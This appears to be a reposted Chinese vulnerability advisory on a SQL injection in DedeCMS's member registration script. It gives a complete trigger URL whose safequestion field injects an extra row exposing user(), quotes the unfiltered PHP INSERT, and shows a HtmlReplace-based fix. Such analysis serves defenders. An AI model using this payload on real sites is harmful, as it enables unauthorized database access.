1. 漏洞描述
Dedecms会员中心注入漏洞
2. 漏洞触发条件
/member/reg_new.php?dopost=regbase&step=1&mtype=%B8%F6%C8%CB&mtype=%B8%F6%C8%CB&userid=123asd123&uname=12asd13123&userpwd=123123&userpwdok=123123&email=1213asd123%40QQ.COM&safequestion=1\',\'1111111111111\',\'1389701121\',\'127.0.0.1\',\'1389701121\',\'127.0.0.1\'),(\'个人\',user(),\'4297f44b13955235245b2497399d7a93\',\'12as11111111111111111d13123\',\'\',\'10\',\'0\',\'1213asd11111111111123@QQ.COM\',\'100\', \'0\',\'-10\',\'\',\'1&safeanswer=1111111111111&sex=&vdcode=slum&agree=//把vdcode=slum改成当前的验证码
3. 漏洞影响范围
4. 漏洞代码分析
/member/reg_new.php
..
$jointime = time();
$logintime = time();
$joinip = GetIP();
$loginip = GetIP();
$pwd = md5($userpwd);
$spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0);
//未对$mtype、$safeanswer、$safequestion进行有效过滤就带入SQL查询
$inQuery = \"INSERT INTO `dede_member` (`mtype` ,`userid` ,`pwd`,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,`matt`, `spacesta`,`face`,`safequestion`,`safeanswer`,`jointime`,`joinip`,`logintime` ,`loginip` )
VALUES(\'$mtype\',\'$userid\',\'$pwd\',\'$uname\',\'$sex\',\'10\',\'$dfmoney\',\'$email\',\'$dfscores\',\'0\',\'$spaceSta\',\'\',\'$safequestion\',\'$safeanswer\',\'$jointime\',\'$joinip\',\'$logintime\',\'$loginip\'); \";
if($dsql->ExecuteNoneQuery($inQuery))
..5. 防御方法
/member/reg_new.php
..
$jointime = time();
$logintime = time();
$joinip = GetIP();
$loginip = GetIP();
$pwd = md5($userpwd);
/* 对$mtype、$safeanswer、$safequestion进行有效过滤 */ $mtype = HtmlReplace($mtype,1); $safeanswer = HtmlReplace($safeanswer); $safequestion = HtmlReplace($safequestion); /* */
$spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0);
$inQuery = \"INSERT INTO `dede_member` (`mtype` ,`userid`,`pwd`,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,`matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime`,`joinip` ,`logintime` ,`loginip` )
VALUES (\'$mtype\',\'$userid\',\'$pwd\',\'$uname\',\'$sex\',\'10\',\'$dfmoney\',\'$email\',\'$dfscores\',\'0\',\'$spaceSta\',\'\',\'$safequestion\',\'$safeanswer\',\'$jointime\',\'$joinip\',\'$logintime\',\'$loginip\'); \";
if($dsql->ExecuteNoneQuery($inQuery))
{..本站除原创内容,其余内容均收集自互联网,仅限用于学习和研究目的,本站不对其内容的合法性、可用性承担任何责任。本站禁止以任何形式发布或转载任何违法相关信息,若您发现请立即向站长举报;用户投稿一切资源内容不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
如有版权内容,其版权均归原作者所有,本站虽力求保存原有版权信息,但因众多资源经多次转载,已无法确定其真实来源,故敬请原作者谅解!为尊重作者劳动成果,请购买正版支持作者,谢谢!若您对「HULIKU.COM」所载资源作品版权归属存有异议,请发送邮箱:ihuliku@qq.com 进行处理。
本站资源文件大多存储至云盘,如您发现图片或链接失效,请联系站长或作者,我们将及时进行更新。资源都是经过站长或作者收集测试优化后进行发布分享。如若转载请在贵站文内以超链形式注明狐狸库文章出处,谢谢合作!













![WordPress子比主题美化教程合集[2023/04/17]-狐狸库](https://huliku.com/pic/2023032607024935.png)
![狐狸库自定义子比主题底部footer页脚美化(自适应)[06.26]更新-狐狸库](https://huliku.com/pic/2023062610013835.png)


















请登录后查看评论内容